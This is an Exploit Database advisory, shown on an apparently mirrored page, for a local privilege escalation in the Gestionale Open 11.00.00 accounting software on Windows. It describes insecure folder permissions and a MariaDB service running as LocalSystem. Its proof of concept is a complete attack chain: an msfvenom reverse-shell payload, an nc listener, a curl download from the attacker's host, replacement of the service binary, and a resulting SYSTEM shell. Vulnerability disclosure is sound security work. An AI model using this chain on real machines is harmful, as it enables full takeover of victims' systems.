Gestionale Open 11.00.00 – Local Privilege Escalation

• Exploit Database
• 13 阅读

• 作者： Alessandro Salzano
  日期： 2021-10-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/50449/

• # Exploit Title: Gestionale Open 11.00.00 - Local Privilege Escalation
  # Date: 2021-07-19
  # Author: Alessandro 'mindsflee' Salzano
  # Vendor Homepage: https://www.gestionaleopen.org/
  # Software Homepage: https://www.gestionaleopen.org/
  # Software Link: https://www.gestionaleopen.org/wp-content/uploads/downloads/ESEGUIBILI_STANDARD/setup_go_1101.exe
  # Version: 11.00.00
  # Tested on: Microsoft Windows 10 Enterprise x64
  
  With GO - Gestionale Open - it is possible to manage, check and print every aspect of accounting according to the provisions of Italian taxation.
  
  Vendor: Gestionale Open srl.
  
  Affected version: > 11.00.00
  
  
  # Details
  # By default the Authenticated Users group has the modify permission to Gestionale Open folders/files as shown below.
  # A low privilege account is able to rename the mysqld.exe file located in bin folder and replace
  # with a malicious file that would connect back to an attacking computer giving system level privileges
  # (nt authority\system) due to the service running as Local System.
  # While a low privilege user is unable to restart the service through the application, a restart of the
  # computer triggers the execution of the malicious file.
  
  The application also have unquoted service path issues.
  
  (1) Impacted services.
  Any low privileged user can elevate their privileges abusing MariaDB service:
  
  C:\Gestionale_Open\MySQL57\bin\mysqld.exe
  
  
  	Details:
  
  
  
  SERVICE_NAME: DB_GO
  TYPE : 10WIN32_OWN_PROCESS
  START_TYPE : 2 AUTO_START
  ERROR_CONTROL: 1 NORMAL
  BINARY_PATH_NAME : C:\Gestionale_Open\MySQL57\bin\mysqld.exe --defaults-file=C:\Gestionale_Open\MySQL57\my.ini DB_GO
  LOAD_ORDER_GROUP :
  TAG: 0
  DISPLAY_NAME : DB_GO
  DEPENDENCIES :
  SERVICE_START_NAME : LocalSystem
  
  
  
  (2) Folder permissions.
  Insecure folders permissions issue:
  
  
  C:\Gestionale_Open Everyone:(I)(OI)(CI)(F)
   NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
  
  
  
  # Proof of Concept
  
  1. Generate malicious .exe on attacking machine
  msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe
  
  2. Setup listener and ensure apache is running on attacking machine
  nc -lvp 4242
  service apache2 start
  
  3. Download malicious .exe on victim machine
  type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:\Gestionale_Open\MySQL57\bin\mysqld_evil.exe"
  
  4. Overwrite file and copy malicious .exe.
  Renename C:\Gestionale_Open\MySQL57\bin\mysqld.exe > mysqld.bak
  Rename downloaded 'mysqld_evil.exe' file in mysqld.exe
  
  5. Restart victim machine
  
  6. Reverse Shell on attacking machine opens
  C:\Windows\system32>whoami
  whoami
  nt authority\system